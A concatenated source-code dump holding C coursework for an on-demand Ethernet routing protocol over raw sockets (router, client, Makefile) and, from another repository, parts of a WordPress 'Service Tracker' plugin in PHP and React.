printf("forceRedisc: False\n"); printf("Data: %s \n", packet->data); #endif return; } void sendEthernetPacket(int sockfd, EthernetFrame *frame, SA *sockAddr, int saLen) { ODRPacket *packet; char buf[20]; printPacket(frame); packet = &(frame->packet); printf("[ODR @ VM%d] Sending frame hdr => srcIP: VM%d destMAC: %s\n", getVmNodeByIP(hostIP), getVmNodeByIP(hostIP), ethAddrNtoP(frame->destMAC, buf)); printf("ODR MSG => TYPE: %d SRC: VM%d DST: VM%d\n", packet->type, getVmNodeByIP(packet->sourceIP), getVmNodeByIP(packet->destIP)); if (sendto(sockfd, (void *)frame, sizeof(EthernetFrame), 0, sockAddr, saLen) == -1) { err_msg("Error in sending Ethernet packet"); } } void recvEthernetPacket(int sockfd, EthernetFrame *frame) { bzero(frame, sizeof(EthernetFrame)); if (recvfrom(sockfd, frame, sizeof(EthernetFrame), 0, NULL, NULL) < 0) { err_msg("Error in receiving Ethernet packet"); } printPacket(frame); } int sendonIFace(ODRPacket *packet, uint8_t srcMAC[MACLEN], uint8_t destMAC[MACLEN], uint16_t outIfaceNum, int sockfd) { int retVal; /*target address*/ struct sockaddr_ll sockAddr; EthernetFrame frame; bzero(&sockAddr, sizeof(sockAddr)); bzero(&frame, sizeof(frame)); /*RAW communication*/ sockAddr.sll_family = PF_PACKET; sockAddr.sll_protocol = htons(PROTOCOL_NUMBER); /*ARP hardware identifier is ethernet*/ sockAddr.sll_hatype = ARPHRD_ETHER; /*target is another host*/ sockAddr.sll_pkttype = PACKET_OTHERHOST; /*address length*/ sockAddr.sll_halen = ETH_ALEN; memcpy(sockAddr.sll_addr, destMAC, MACLEN); sockAddr.sll_ifindex = outIfaceNum; memcpy(frame.sourceMAC, srcMAC, MACLEN); memcpy(frame.destMAC, destMAC, MACLEN); memcpy(&(frame.packet), packet, sizeof(ODRPacket)); frame.protocol = htons(PROTOCOL_NUMBER); // Increment Hop count in the packet packet->hopCount++; sendEthernetPacket(sockfd, &frame, (SA*) &sockAddr, sizeof(sockAddr)); } // Function that would check and clear up waiting packets in the buffer int sendWaitingPackets(int destIndex, RoutingTable *routes, IfaceInfo *ifaceList) { WaitingPacket *waitingPackets; WaitingPacket *freePacket; uint8_t srcMAC[MACLEN], dstMAC[MACLEN]; uint16_t outIfaceInd, outIfaceNum; int outSocket; int packetSent = 0; assert(routes[destIndex].isValid && "Route Entry should be present"); outIfaceInd = routes[destIndex].ifaceInd; outIfaceNum = ifaceList[outIfaceInd].ifaceNum; outSocket = ifaceList[outIfaceInd].ifaceSocket; waitingPackets = routes[destIndex].waitListHead; freePacket = routes[destIndex].waitListHead; memcpy(dstMAC, routes[destIndex].nextHopMAC, MACLEN); memcpy(srcMAC, ifaceList[outIfaceInd].ifaceMAC, MACLEN); while (waitingPackets != NULL) { #if DEBUG2 printf("Sent a waiting Packet of Type: %d\n", waitingPackets->packet.type); #endif sendonIFace(&(waitingPackets->packet), srcMAC, dstMAC, outIfaceNum, outSocket); waitingPackets = waitingPackets->next; packetSent++; free(freePacket); freePacket = waitingPackets; } routes[destIndex].waitListHead = NULL; return packetSent; } void printTable(RoutingTable *routes, IfaceInfo *ifaceList, int specific) { char MACTemp[25]; int i; printf("===================================================================================================================================\n"); printf("Destination Node | isValid | broadID | ifaceNum | nextHopMAC | hopCount | waitListHead | timestamp\n"); printf("===================================================================================================================================\n"); if (specific != 0) { printf("\tVM%-5d | %8d | %10d | %8d | %17s | %8d | %8p | %24s", specific, routes[specific].isValid, routes[specific].broadID, ifaceList[routes[specific].ifaceInd].ifaceNum, ethAddrNtoP(routes[specific].nextHopMAC, MACTemp), routes[specific].hopCount, routes[specific].waitListHead, asctime(localtime((const time_t *)&routes[specific].timeStamp))); } else { for (i = 1; i <= TOTAL_VMS; i++) { if (routes[i].isValid) printf("\tVM%-5d | %8d | %10d | %8d | %17s | %8d | %8p | %24s", i, routes[i].isValid, routes[i].broadID, ifaceList[routes[i].ifaceInd].ifaceNum, ethAddrNtoP(routes[i].nextHopMAC, MACTemp), routes[i].hopCount, routes[i].waitListHead, asctime(localtime((const time_t *)&routes[i].timeStamp))); } } printf("===================================================================================================================================\n"); } bool isRouteStale(RoutingTable *routeEntry) { double diff = difftime(time(NULL), routeEntry->timeStamp); return (diff >= (double)staleness) ? TRUE : FALSE; } bool checkIfTimeToLeave(ODRPacket *packet) { if (packet->hopCount == TTL_HOP_COUNT) return TRUE; return FALSE; } bool checkIfSrcNode(ODRPacket *packet) { if (strcmp(packet->sourceIP, hostIP) == 0) return TRUE; return FALSE; } bool checkIfDestNode(ODRPacket *packet) { if (strcmp(packet->destIP, hostIP) == 0) return TRUE; return FALSE; } bool isForceRediscover(ODRPacket *packet) { if (packet->forceRedisc) return TRUE; return FALSE; } typedef enum { NO_UPDATE = 0, SAME_UPDATE = 1, NEW_UPDATE = 2 } RouteUpdate; RouteUpdate isBetterOrNewerRoute(RoutingTable *routeEntry, ODRPacket *packet) { uint32_t newBroadID = packet->broadID; uint32_t newHopCount = packet->hopCount; // No Route present if (routeEntry->isValid == FALSE) return NEW_UPDATE; // Route is stale if (isRouteStale(routeEntry)) return NEW_UPDATE; // Force rediscovery on, so force route update if (isForceRediscover(packet)) return NEW_UPDATE; if (routeEntry->broadID != 0 && newBroadID != 0) { // Newer RREQ packet if (routeEntry->broadID < newBroadID) return NEW_UPDATE; // Older RREQ packet if (routeEntry->broadID > newBroadID) return NO_UPDATE; } // New path with better hop count if (routeEntry->hopCount > newHopCount) return NEW_UPDATE; // New path with same hop count else if (routeEntry->hopCount == newHopCount) return SAME_UPDATE; // Existing Route is better return NO_UPDATE; } RouteUpdate createUpdateRouteEntry(EthernetFrame *frame, int ifaceInd, RoutingTable *routes, IfaceInfo *ifaceList) { ODRPacket *packet = &(frame->packet); int srcNode = getVmNodeByIP(packet->sourceIP); RoutingTable *routeEntry = &routes[srcNode]; RouteUpdate routeUpdate; routeUpdate = isBetterOrNewerRoute(routeEntry, packet); if (routeUpdate != NO_UPDATE) { int packetsSent; routeEntry->isValid = TRUE; routeEntry->broadID = packet->broadID; routeEntry->ifaceInd = ifaceInd; memcpy(routeEntry->nextHopMAC, frame->sourceMAC, MACLEN); routeEntry->hopCount = packet->hopCount; routeEntry->timeStamp = time(NULL); #if DEBUG printf("Route Table Updated for destination: VM%d\n", srcNode); printTable(routes, ifaceList, 0); if ((packetsSent = sendWaitingPackets(srcNode, routes, ifaceList)) > 0) printf("Cleared Waiting Queue for src Node: VM%d, Packets Sent: %d\n", srcNode, packetsSent); #endif } return routeUpdate; } void fillODRPacket(ODRPacket *packet, packetType type, char *srcIP, char *dstIP, uint32_t srcPort, uint32_t dstPort, int hopCount, int broadID, bool Asent, bool forceRedisc, char* data, int length) { packet->type = type; memcpy(packet->sourceIP, srcIP, IPLEN); memcpy(packet->destIP, dstIP, IPLEN); packet->sourcePort = srcPort; packet->destPort = dstPort; packet->hopCount = hopCount; packet->broadID = broadID; packet->Asent = Asent; packet->forceRedisc = forceRedisc; memcpy(packet->data, data, length); } void addToWaitList(ODRPacket *packet, RoutingTable *routes,int destNode) { WaitingPacket *newPacket = Malloc(sizeof(WaitingPacket)); memcpy(&(newPacket->packet), packet, sizeof(ODRPacket)); newPacket->next = routes[destNode].waitListHead; routes[destNode].waitListHead = newPacket; } bool isRoutePresent(ODRPacket *packet, RoutingTable *routes) { int destNode = getVmNodeByIP(packet->destIP); RoutingTable *routeEntry = &(routes[destNode]); if ((routeEntry->isValid == FALSE) || // Invalid Route Entry isRouteStale(routeEntry)) // Route expired { #if DEBUG2 printf("Route not present: %s %s\n", routeEntry->isValid ? "Valid" : "Invalid", isRouteStale(routeEntry) ? "Stale" : "NotStale"); #endif routeEntry->isValid = FALSE; if (packet->type != RREQ) { addToWaitList(packet, routes, destNode); } return FALSE; } return TRUE; } void floodPacket(ODRPacket *packet, IfaceInfo *ifaceList, int exceptInterface, int totalSockets) { int retVal; int index; uint8_t broadMAC[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; /*target address*/ struct sockaddr_ll sockAddr; EthernetFrame frame; bzero(&sockAddr, sizeof(sockAddr)); bzero(&frame, sizeof(frame)); /*RAW communication*/ sockAddr.sll_family = PF_PACKET; sockAddr.sll_protocol = htons(PROTOCOL_NUMBER); /*ARP hardware identifier is ethernet*/ sockAddr.sll_hatype = ARPHRD_ETHER; /*target is another host*/ sockAddr.sll_pkttype = PACKET_OTHERHOST; /*address length*/ sockAddr.sll_halen = ETH_ALEN; memcpy(sockAddr.sll_addr, broadMAC, MACLEN); memcpy(frame.destMAC, broadMAC, MACLEN); memcpy(&(frame.packet), packet, sizeof(ODRPacket)); frame.protocol = htons(PROTOCOL_NUMBER); // Increment Hop count in the packet packet->hopCount++; for (index = 0; index < totalSockets; index++) { if (index != exceptInterface) { memcpy(frame.sourceMAC, ifaceList[index].ifaceMAC, MACLEN); sockAddr.sll_ifindex = ifaceList[index].ifaceNum; #if DEBUG printf("Flooding RREQ Packet%s on interface number: %d\n", packet->Asent ? " (with ASENT)" : "", ifaceList[index].ifaceNum); #endif sendEthernetPacket(ifaceList[index].ifaceSocket, &frame, (SA*) &sockAddr, sizeof(sockAddr)); } } } void handleRREQ(EthernetFrame *frame, RoutingTable *routes, IfaceInfo *ifaceList, int inSockIndex, int totalSockets) { uint32_t destIndex; ODRPacket *packet; int retval = -1; int nwdestNode; int nwsrcNode; RouteUpdate isSrcRouteUpdated; packet = Malloc(sizeof(ODRPacket)); memcpy(packet, &(frame->packet), sizeof(ODRPacket)); if (checkIfSrcNode(packet)) { // Do nothing when RREQ received from original source, stop flooding. return; } if (checkIfTimeToLeave(packet)) { // Throw away RREQ as Hop count is greater than TTL printf("Throwing away RREQ as hop count(%d) is equal to TTL\n", packet->hopCount); return; } isSrcRouteUpdated = createUpdateRouteEntry(frame, inSockIndex, routes, ifaceList); // Only send RREPs if Already Sent flag "Asent" is FALSE if (!packet->Asent) { if (checkIfDestNode(packet)) { if (isSrcRouteUpdated == NEW_UPDATE) { // Create RREPs and send them back only for better/fresher RREQ packets ODRPacket RREPPacket; nwdestNode = getVmNodeByIP(packet->sourceIP); fillODRPacket(&RREPPacket, RREP, packet->destIP, packet->sourceIP, packet->destPort, packet->sourcePort, 1, 0, FALSE, packet->forceRedisc, NULL, 0); #if DEBUG2 printf("Sent a RREP Packet\n"); #endif sendonIFace(&RREPPacket, ifaceList[inSockIndex].ifaceMAC, routes[nwdestNode].nextHopMAC, ifaceList[inSockIndex].ifaceNum, ifaceList[inSockIndex].ifaceSocket); } return; } if (isForceRediscover(packet)) { // Invalidate route for destination entry int destNode = getVmNodeByIP(packet->destIP); routes[destNode].isValid = FALSE; } else if (isRoutePresent(packet, routes)) { // Create RREPs and send them back ODRPacket RREPPacket; nwdestNode = getVmNodeByIP(packet->sourceIP); nwsrcNode = getVmNodeByIP(packet->destIP); fillODRPacket(&RREPPacket, RREP, packet->destIP, packet->sourceIP, packet->destPort, packet->sourcePort, routes[nwsrcNode].hopCount + 1, 0, FALSE, packet->forceRedisc, NULL, 0); #if DEBUG2 printf("Sent a RREP Packet\n"); #endif sendonIFace(&RREPPacket, ifaceList[inSockIndex].ifaceMAC, routes[nwdestNode].nextHopMAC, ifaceList[inSockIndex].ifaceNum, ifaceList[inSockIndex].ifaceSocket); // Flood RREQs with Asent flag (if needed) packet->Asent = TRUE; } } // Route not present or updated, so keep flooding RREQ if (isSrcRouteUpdated != NO_UPDATE) { packet->hopCount++; floodPacket(packet, ifaceList, inSockIndex, totalSockets); } } void handleRREP(EthernetFrame *frame, RoutingTable *routes, IfaceInfo *ifaceList, int inSockIndex, int totalSockets) { uint32_t outSockIndex; ODRPacket *packet; int nwdestNode; RouteUpdate isSrcRouteUpdated; packet = Malloc(sizeof(ODRPacket)); memcpy(packet, &(frame->packet), sizeof(ODRPacket)); isSrcRouteUpdated = createUpdateRouteEntry(frame, inSockIndex, routes, ifaceList); if ((isSrcRouteUpdated != NEW_UPDATE) || checkIfDestNode(packet)) { // RREP packet already Sent or Reached final destination return; } if (isRoutePresent(packet, routes)) { // Send RREP to source nwdestNode = getVmNodeByIP(packet->destIP); outSockIndex = routes[nwdestNode].ifaceInd; packet->hopCount++; #if DEBUG2 printf("Sent a RREP Packet\n"); #endif sendonIFace(packet, ifaceList[outSockIndex].ifaceMAC, routes[nwdestNode].nextHopMAC, ifaceList[outSockIndex].ifaceNum, ifaceList[outSockIndex].ifaceSocket); } else { #if DEBUG printf("Route is not present, generating RREQ\n"); #endif ODRPacket RREQPacket; fillODRPacket(&RREQPacket, RREQ, hostIP, packet->destIP, 0, packet->destPort, 1, getNextBroadCastID(), FALSE, packet->forceRedisc, NULL, 0); floodPacket(&RREQPacket, ifaceList, inSockIndex, totalSockets); } } void handleDATA(EthernetFrame *frame, RoutingTable *routes, int unixSockFd, IfaceInfo *ifaceList, int inSockIndex, int totalSockets) { uint32_t outSockIndex; ODRPacket *packet; int nwdestNode; packet = Malloc(sizeof(ODRPacket)); memcpy(packet, &(frame->packet), sizeof(ODRPacket)); #if DEBUG2 printf("DATA Packet received from Source Node: VM%d\n", getVmNodeByIP(packet->sourceIP)); #endif createUpdateRouteEntry(frame, inSockIndex, routes, ifaceList); if (checkIfDestNode(packet)) { // Send directly to destPort on local process printf("Sending DATA to %s:%d (local machine)\n", packet->destIP, packet->destPort); writeUnixSocket(unixSockFd, packet->sourceIP, packet->sourcePort, packet->destPort, packet->data); return; } if (isRoutePresent(packet, routes)) { // Send data to destination nwdestNode = getVmNodeByIP(packet->destIP); outSockIndex = routes[nwdestNode].ifaceInd; packet->hopCount++; #if DEBUG2 printf("Sent a DATA Packet\n"); #endif sendonIFace(packet, ifaceList[outSockIndex].ifaceMAC, routes[nwdestNode].nextHopMAC, ifaceList[outSockIndex].ifaceNum, ifaceList[outSockIndex].ifaceSocket); } else { #if DEBUG printf("Route is not present, generating RREQ\n"); #endif ODRPacket RREQPacket; fillODRPacket(&RREQPacket, RREQ, hostIP, packet->destIP, 0, packet->destPort, 1, getNextBroadCastID(), FALSE, packet->forceRedisc, NULL, 0); floodPacket(&RREQPacket, ifaceList, inSockIndex, totalSockets); } } void processFrame(EthernetFrame *frame, RoutingTable *routes, int unixSockFd, IfaceInfo *ifaceList, int inSockIndex, int totalSockets) { ODRPacket *packet = &(frame->packet); switch (packet->type) { case RREQ: // RREQ packet #if DEBUG printf("RREQ packet received!\n"); #endif handleRREQ(frame, routes, ifaceList, inSockIndex, totalSockets); break; case RREP: // RREP packet #if DEBUG printf("RREP packet received!\n"); #endif handleRREP(frame, routes, ifaceList, inSockIndex, totalSockets); break; case DATA: // Data packet #if DEBUG printf("Data packet received!\n"); #endif handleDATA(frame, routes, unixSockFd, ifaceList, inSockIndex, totalSockets); break; default: // Error err_msg("Malformed packet received!"); } } int startCommunication(ODRPacket *packet, RoutingTable *routes, IfaceInfo *ifaceList, int totalSockets) { uint8_t srcMAC[MACLEN], dstMAC[MACLEN]; int destIndex, outIfaceInd, outIfaceNum, outSocket; if (isRoutePresent(packet, routes)) { #if DEBUG printf("Route is present, sending DATA packet\n"); #endif destIndex = getVmNodeByIP(packet->destIP); outIfaceInd = routes[destIndex].ifaceInd; outIfaceNum = ifaceList[outIfaceInd].ifaceNum; outSocket = ifaceList[outIfaceInd].ifaceSocket; memcpy(dstMAC, routes[destIndex].nextHopMAC, MACLEN); memcpy(srcMAC, ifaceList[outIfaceInd].ifaceMAC, MACLEN); // Unable force rediscovery on DATA packet packet->forceRedisc = FALSE; sendonIFace(packet, srcMAC, dstMAC, outIfaceNum, outSocket); return 0; } else { // Create RREQ and Flood it out #if DEBUG printf("Route is not present, generating RREQ\n"); #endif ODRPacket RREQPacket; fillODRPacket(&RREQPacket, RREQ, packet->sourceIP, packet->destIP, packet->sourcePort, packet->destPort, 1, getNextBroadCastID(), FALSE, packet->forceRedisc, NULL, 0); floodPacket(&RREQPacket, ifaceList, -1 /* Flood on all interfaces */, totalSockets); return 1; } } int readAllSockets(int unixSockFd, IfaceInfo *ifaceList, int totalIfaceSock, fd_set fdSet, RoutingTable* routes) { int maxfd, index; fd_set readFdSet; int i; printf("\nReading all incoming packets =>\n"); maxfd = unixSockFd; for (i = 0; i < totalIfaceSock; i++) { maxfd = max(maxfd, ifaceList[i].ifaceSocket); } maxfd++; while (1) { printf("\n"); readFdSet = fdSet; Select(maxfd, &readFdSet, NULL, NULL, NULL); // Check if got a packet on an unix domain socket if (FD_ISSET(unixSockFd, &readFdSet)) { ODRPacket packet; if (processUnixPacket(unixSockFd, &packet)) startCommunication(&packet, routes, ifaceList, totalIfaceSock); } // Check if got a packet on an iface socket for (index = 0; index < totalIfaceSock; index++) { if (FD_ISSET(ifaceList[index].ifaceSocket, &readFdSet)) { EthernetFrame frame; recvEthernetPacket(ifaceList[index].ifaceSocket, &frame); // Process frame processFrame(&frame, routes, unixSockFd, ifaceList, index, totalIfaceSock); } } } } int createIfaceSockets(IfaceInfo **ifaceSockList, fd_set *fdSet) { struct hwa_info *hwa, *hwahead; int totalInterfaces = 0, index = 0; struct sockaddr_ll listenFilter; for (hwahead = hwa = Get_hw_addrs(); hwa != NULL; hwa = hwa->hwa_next, totalInterfaces++); #if DEBUG2 printf("\nFollowing are %d HW Interfaces =>\n", totalInterfaces); #endif *ifaceSockList = Malloc(totalInterfaces * sizeof(IfaceInfo)); bzero(&listenFilter, sizeof(listenFilter)); /*RAW communication*/ listenFilter.sll_family = PF_PACKET; listenFilter.sll_protocol = htons(PROTOCOL_NUMBER); /*ARP hardware identifier is ethernet*/ listenFilter.sll_hatype = ARPHRD_ETHER; /*target is another host*/ listenFilter.sll_pkttype = PACKET_OTHERHOST; /*address length*/ listenFilter.sll_halen = ETH_ALEN; for (hwa = hwahead; hwa != NULL; hwa = hwa->hwa_next) { printInterface(hwa); if ((strcmp(hwa->if_name, "lo") != 0) && (strcmp(hwa->if_name, "eth0") != 0)) { // if the interface number is greater than 2 then make sockets on each interfaces if ((((*ifaceSockList)[index]).ifaceSocket = socket(PF_PACKET, SOCK_RAW, htons(PROTOCOL_NUMBER))) < 0) { err_quit("Error in creating PF_PACKET socket for interface: %d", index + 3); } listenFilter.sll_ifindex = hwa->if_index; memcpy(listenFilter.sll_addr, hwa->if_haddr, MACLEN); ((*ifaceSockList)[index]).ifaceNum = hwa->if_index; memcpy(((*ifaceSockList)[index]).ifaceMAC, hwa->if_haddr, MACLEN); FD_SET((*ifaceSockList)[index].ifaceSocket, fdSet); Bind((*ifaceSockList)[index].ifaceSocket, (SA *) &listenFilter, sizeof(listenFilter)); index++; } } free_hwa_info(hwahead); printf("%d interfaces Bind\n", index); return index; } int main(int argc, char *argv[]) { RoutingTable routes[TOTAL_VMS + 1] = {0}; IfaceInfo *ifaceSockList; int totalIfaceSock, unixSockFd, filePortMapCnt; fd_set fdSet; if (argc == 1) { printf("No given staleness parameter, "); staleness = 5; } else { staleness = atoi(argv[1]); } printf("Setting staleness = %d sec\n", staleness); hostNode = getHostVmNodeNo(); getIPByVmNode(hostIP, hostNode); printf("ODR running on VM%d (%s)\n", hostNode, hostIP); Signal(SIGINT, sig_int); FD_ZERO(&fdSet); // Initialize filePath to Port Number Map initFilePortMap(); // Create Unix domain socket getFullPath(filePath, ODR_FILE, sizeof(filePath), FALSE); unixSockFd = createAndBindUnixSocket(filePath); FD_SET(unixSockFd, &fdSet); // Create interface sockets totalIfaceSock = createIfaceSockets(&ifaceSockList, &fdSet); // Read incoming packets on all sockets readAllSockets(unixSockFd, ifaceSockList, totalIfaceSock, fdSet, routes); free(ifaceSockList); unlink(filePath); Close(unixSockFd); } <file_sep>/A3/client.c #include "common.h" static char filePath[1024], hostNode, hostIP[100]; static sigjmp_buf jmpToRetransmit; static void sig_int(int signo) { unlink(filePath); exit(0); } static void sig_alarm(int signo) { siglongjmp(jmpToRetransmit, 1); } int main() { struct sockaddr_un cliAddr; char buffer[1024]; int sockfd; getFullPath(filePath, CLI_FILE, sizeof(filePath), TRUE); sockfd = createAndBindUnixSocket(filePath); hostNode = getHostVmNodeNo(); getIPByVmNode(hostIP, hostNode); printf("Client running on VM%d (%s)\n", hostNode, hostIP); Signal(SIGINT, sig_int); Signal(SIGALRM, sig_alarm); while (1) { char serverIP[100]; int serverNode, serverPort; bool forceRediscovery = FALSE; printf("\nChoose Server VM Node Number from VM1-VM10: "); if ((scanf("%d", &serverNode) != 1) || serverNode < 1 || serverNode > TOTAL_VMS) { break; } if (getIPByVmNode(serverIP, serverNode) == NULL) { err_msg("Warning: Unable to get IP address, using hostname instead"); sprintf(serverIP, "VM%d", serverNode); } serverPort = SER_PORT; jmpToRetransmit: msg_send(sockfd, serverIP, serverPort, "", forceRediscovery); alarm(CLI_TIMEOUT); if (sigsetjmp(jmpToRetransmit, 1) != 0) { forceRediscovery = TRUE; printf("Client at node VM%d: timeout on response from VM%d\n", hostNode, serverNode); goto jmpToRetransmit; } msg_recv(sockfd, buffer, serverIP, &serverPort); alarm(0); printf("Client at node VM%d: received from VM%d => %s\n", hostNode, serverNode, buffer); } err_msg("\nExiting! Thank you!\n"); unlink(filePath); Close(sockfd); } <file_sep>/A4/Makefile CC=gcc USER=hkshah #HOME=/mnt/hgfs/SBU-Courses/NP/Assignment/code-ubuntu HOME=/users/cse533/Stevens/unpv13e #HOME=/home/sahil/netprog/unpv13e LIBS = -lpthread ${HOME}/libunp.a FLAGS = -g -O2 CFLAGS = ${FLAGS} -I${HOME}/lib all: ${USER}_tour ${USER}_arp ${USER}_tour: tour.o utils.o get_hw_addrs.o tour_api.o tour_ping.o ${CC} ${FLAGS} -o $@ $^ ${LIBS} tour.o: tour.c ${CC} ${CFLAGS} -c -o $@ $^ tour_api.o: tour_api.c ${CC} ${CFLAGS} -c -o $@ $^ tour_ping.o: tour_ping.c ${CC} ${CFLAGS} -c -o $@ $^ ${USER}_arp: arp.o utils.o get_hw_addrs.o arp_cache.o arp_api.o ${CC} ${FLAGS} -o $@ $^ ${LIBS} arp.o: arp.c ${CC} ${CFLAGS} -c -o $@ $^ arp_cache.o: arp_cache.c ${CC} ${CFLAGS} -c -o $@ $^ arp_api.o: arp_api.c ${CC} ${CFLAGS} -c -o $@ $^ utils.o: utils.c ${CC} ${CFLAGS} -c -o $@ $^ get_hw_addrs.o: get_hw_addrs.c ${CC} ${CFLAGS} -c -o $@ $^ clean: rm -f ${USER}_tour ${USER}_arp tmp-* *.o
c904dbdf136077292b3086c53b38758091c6053e
[ "C", "Makefile" ]
39
C
ankitsabharwal237/CSE-533-Network-Programming
2b02be4d95f21dea2a03a151b009880f9edbdd62
954c6985824ff40a18697ebd89c99933dec6c960
refs/heads/main
<repo_name>rodrigodelbem/service-tracker<file_sep>/publics/Service_Tracker_Public_User_Content.php <?php namespace ServiceTracker\publics; use ServiceTracker\includes\Service_Tracker_Sql; use \Moment\Moment; use \WP_User; class Service_Tracker_Public_User_Content { public $current_user_id; public $user_cases_and_statuses; public function get_user_id() { if ( ! is_user_logged_in() ) { return; } $this->current_user_id = get_current_user_id(); $this->check_user_role(); } public function check_user_role() { $user = new WP_User( $this->current_user_id ); if ( empty( $user->roles ) ) { return; } if ( is_array( $user->roles ) && ! in_array( 'client', $user->roles ) ) { return; } if ( is_array( $user->roles ) && in_array( 'client', $user->roles ) ) { $this->get_statuses_by_cases(); $this->add_shortcode(); } } public function get_user_cases() { $sql = new Service_Tracker_Sql( 'servicetracker_cases' ); $cases = $sql->get_by( array( 'id_user' => $this->current_user_id ) ); return $cases; } public function get_case_progress( $id_case ) { $sql = new Service_Tracker_Sql( 'servicetracker_progress' ); $status = $sql->get_by( array( 'id_case' => $id_case ) ); $progress_array = array(); foreach ( $status as $stat ) { $status_obj = array(); $status_obj['created_at'] = $this->locale_translation_time( $stat->{'created_at'} ); $status_obj['text'] = $stat->{'text'}; array_push( $progress_array, $status_obj ); } return $progress_array; } public function locale_translation_time( $date ) { $locale = get_locale(); switch ( $locale ) { case 'pt_BR': $time_format = 'd/m/y - H:i:s'; break; case 'en_US': $time_format = 'M d/y - h:i:s a'; break; default: $time_format = 'm/d/y - h:i:s a'; break; } $format_date = new Moment( $date ); return $format_date->format( $time_format ); } public function get_statuses_by_cases() { $cases = $this->get_user_cases(); $case_and_statuses = array(); foreach ( $cases as $case ) { $case_obj = array(); $case_obj['case_title'] = $case->title; $case_obj['case_id'] = $case->id; $case_obj['created_at'] = $this->locale_translation_time( $case->created_at ); $case_obj['case_status'] = $case->status; $case_obj['progress'] = $this->get_case_progress( $case->id ); array_push( $case_and_statuses, $case_obj ); } $this->user_cases_and_statuses = $case_and_statuses; } public function add_shortcode() { add_shortcode( 'service-tracker-cases-progress', array( $this, 'use_partial' ) ); } public function use_partial() { $user_cases_and_statuses = $this->user_cases_and_statuses; include wp_normalize_path( plugin_dir_path( __FILE__ ) . 'partials/cases_progress.php' ); } } <file_sep>/includes/Service_Tracker_Api.php <?php namespace ServiceTracker\includes; use ServiceTracker\includes\Service_Tracker_Sql; use ServiceTracker\includes\Service_Tracker_Mail; use ServiceTracker\includes\Service_Tracker_Api_Cases; use ServiceTracker\includes\Service_Tracker_Api_Progress; use \WP_REST_Server; use \WP_REST_Request; use \WP_REST_Response; class Service_Tracker_Api { public function user_verification() { return current_user_can( 'publish_posts' ); } public function security_check( $data ) { if ( empty( $data ) ) { return; } $headers = $data->get_headers(); $nonce = $headers['x_wp_nonce'][0]; if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { return new WP_REST_Response( __( 'Sorry, invalid credentials', 'service-tracker' ) ); } } public function register_new_route( $api_type, $api_argument, $method, $callback ) { register_rest_route( 'service-tracker/v1', '/' . $api_type . '/(?P<id' . $api_argument . '>\d+)', array( 'methods' => $method, 'callback' => $callback, 'permission_callback' => array( $this, 'user_verification' ), ) ); } } <file_sep>/admin/Service_Tracker_Admin.php <?php namespace ServiceTracker\admin; /** * The admin-specific functionality of the plugin. * * @link http://delbem.net/service-tracker * @since 1.0.0 * * @package Service_Tracker * @subpackage Service_Tracker/admin */ /** * The admin-specific functionality of the plugin. * * Defines the plugin name, version, and two examples hooks for how to * enqueue the admin-specific stylesheet and JavaScript. * * @package Service_Tracker * @subpackage Service_Tracker/admin * @author <NAME> <<EMAIL>> */ class Service_Tracker_Admin { /** * The ID of this plugin. * * @since 1.0.0 * @access private * @var string $plugin_name The ID of this plugin. */ private $plugin_name; /** * The version of this plugin. * * @since 1.0.0 * @access private * @var string $version The current version of this plugin. */ private $version; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $plugin_name The name of this plugin. * @param string $version The version of this plugin. */ public function __construct( $plugin_name, $version ) { $this->plugin_name = $plugin_name; $this->version = $version; } /** * Register the stylesheets for the admin area. * * @since 1.0.0 */ public function enqueue_styles( $hook ) { if ( 'toplevel_page_service_tracker' !== $hook ) { return; } wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/style.css', array(), $this->version, 'all' ); } /** * Register the JavaScript for the admin area. * * @since 1.0.0 */ public function enqueue_scripts( $hook ) { if ( 'toplevel_page_service_tracker' !== $hook ) { return; } if ( $_SERVER['SERVER_NAME'] === 'aulasplugin.local' ) { wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/dev/App.js', array( 'wp-element' ), $this->version, false ); } else { wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/prod/App.js', array( 'wp-element' ), $this->version, false ); } } public function localize_scripts( $hook ) { if ( 'toplevel_page_service_tracker' !== $hook ) { return; } // This file has all the texts inside a variable $texts_array include wp_normalize_path( plugin_dir_path( __FILE__ ) . 'translation/texts_array.php' ); wp_localize_script( $this->plugin_name, 'data', $texts_array ); } public function admin_page() { add_menu_page( 'Service Tracker', 'Service Tracker', 'manage_options', 'service_tracker', array( $this, 'admin_index' ), 'dashicons-money', 10 ); } public function admin_index() { include wp_normalize_path( plugin_dir_path( __FILE__ ) . 'partials/admin_page.php' ); } } <file_sep>/react-app/components/layout/HowToUse.js import React, { Fragment, useContext, useState } from "react"; import { CSSTransition } from "react-transition-group"; import InViewContext from "../../context/inView/inViewContext"; import { BsFillCaretDownFill } from "react-icons/bs"; export default function HowToUse() { const inViewContext = useContext(InViewContext); const { state } = inViewContext; const [accordion, setAccordion] = useState(1); //Required for navigation purposes if (state.view !== "howToUse") { return <Fragment></Fragment>; } return ( <Fragment> <div className="how-to-use-container"> <center> <h3>{data.instructions_page_title}</h3> </center> <div className="accordion-title"> <h3 onClick={() => { accordion !== 1 ? setAccordion(1) : setAccordion(0); }} > 1. {data.accordion_first_title} <BsFillCaretDownFill className="open-accordion" onClick={() => { accordion !== 1 ? setAccordion(1) : setAccordion(0); }} /> </h3> </div> <CSSTransition in={accordion === 1} timeout={400} classNames="editing" unmountOnExit > <div className="spec-container"> <ul> <li>{data.first_accordion_first_li_item}</li> <li>{data.first_accordion_second_li_item}</li> <li>{data.first_accordion_third_li_item}</li> <li>{data.first_accordion_forth_li_item}</li> </ul> </div> </CSSTransition> <div className="accordion-title"> <h3 onClick={() => { accordion !== 2 ? setAccordion(2) : setAccordion(0); }} > 2.{data.accordion_second_title} <BsFillCaretDownFill className="open-accordion" onClick={() => { accordion !== 2 ? setAccordion(2) : setAccordion(0); }} /> </h3> </div> <CSSTransition in={accordion === 2} timeout={400} classNames="editing" unmountOnExit > <div className="spec-container"> <ul> <li>{data.second_accordion_firt_li_item}</li> <li>{data.second_accordion_second_li_item}</li> </ul> </div> </CSSTransition> <div className="accordion-title"> <h3 onClick={() => { accordion !== 3 ? setAccordion(3) : setAccordion(0); }} > 3. {data.accordion_third_title} <BsFillCaretDownFill className="open-accordion" onClick={() => { accordion !== 3 ? setAccordion(3) : setAccordion(0); }} /> 